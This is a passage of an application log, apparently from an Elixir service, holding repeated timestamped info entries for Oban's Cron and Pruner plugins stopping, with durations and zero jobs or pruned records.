{"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:24.567 [info] {"source":"oban","duration":1781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:54.570 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.740 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:24.573 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:54.576 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.741 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:24.578 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:54.580 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.742 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:24.583 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:54.585 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.743 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:24.587 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:54.590 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.744 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:24.592 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:54.594 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.746 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:24.597 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:54.600 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.746 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:24.603 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:54.606 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.747 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:24.608 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:54.611 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.748 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:24.614 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:54.617 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.749 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:24.620 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:54.622 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.750 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:24.624 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:54.627 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.751 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:24.630 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:54.633 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.753 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:24.636 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:54.639 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.753 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:24.642 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:54.645 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.755 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:24.648 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:54.651 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.755 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:24.654 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:54.656 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.756 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:24.659 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:54.662 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.757 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:24.665 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:54.668 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.759 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:24.671 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:54.674 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.759 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:24.677 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:54.680 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.760 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:24.683 [info] {"source":"oban","duration":2455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:54.686 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.761 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:24.688 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:54.688 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.762 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:24.690 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:54.691 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.763 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:24.692 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:54.693 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.764 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:24.694 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:54.696 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.765 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:24.696 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:54.697 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.766 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:24.699 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:54.701 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.767 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:24.703 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:54.704 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.768 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:24.705 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:54.706 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.769 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:24.707 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:54.708 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.770 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:24.709 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:54.710 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.772 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:24.711 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:54.712 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.773 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:24.713 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:54.714 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.774 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:24.715 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:54.717 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.775 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:24.718 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:54.718 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.777 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:24.719 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:54.721 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.779 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:24.722 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:54.723 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.779 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:24.724 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:54.725 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.781 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:24.726 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:54.728 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.783 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:24.730 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:54.731 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.783 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:24.733 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:54.735 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.784 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:24.737 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:54.739 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.786 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:24.741 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:54.743 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.788 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:24.745 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:54.747 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.789 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:24.749 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:54.751 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.789 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:24.753 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:54.755 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.791 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:24.756 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:54.757 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.791 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:24.759 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:54.760 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.792 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:24.762 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:54.764 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.793 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:24.766 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:54.768 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.795 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:24.770 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:54.772 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.796 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:24.775 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:54.777 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.797 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:24.779 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:54.781 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.798 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:24.783 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:54.786 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.799 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:24.788 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:54.790 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.800 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:24.793 [info] {"source":"oban","duration":2159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:54.795 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.802 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:24.798 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:54.800 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.803 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:24.802 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:54.805 [info] {"source":"oban","duration":2125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.804 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:24.808 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:54.809 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.805 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:24.810 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:54.812 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.807 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:24.814 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:54.817 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.808 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:24.819 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:54.822 [info] {"source":"oban","duration":2396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.810 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:24.825 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:54.828 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.812 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:24.831 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:54.833 [info] {"source":"oban","duration":1989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.813 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:24.836 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:54.838 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.815 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:24.841 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:54.844 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.817 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:24.846 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:54.848 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.819 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:24.851 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:54.854 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.820 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:24.856 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:54.859 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.822 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:24.862 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:54.865 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.824 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:24.868 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:54.871 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.825 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:24.874 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:54.877 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.826 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:24.880 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:54.882 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.828 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:24.885 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:54.888 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.829 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:24.891 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:54.894 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.830 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:24.897 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:54.900 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.830 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:24.903 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:54.906 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.832 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:24.908 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:54.910 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.834 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:24.913 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:54.916 [info] 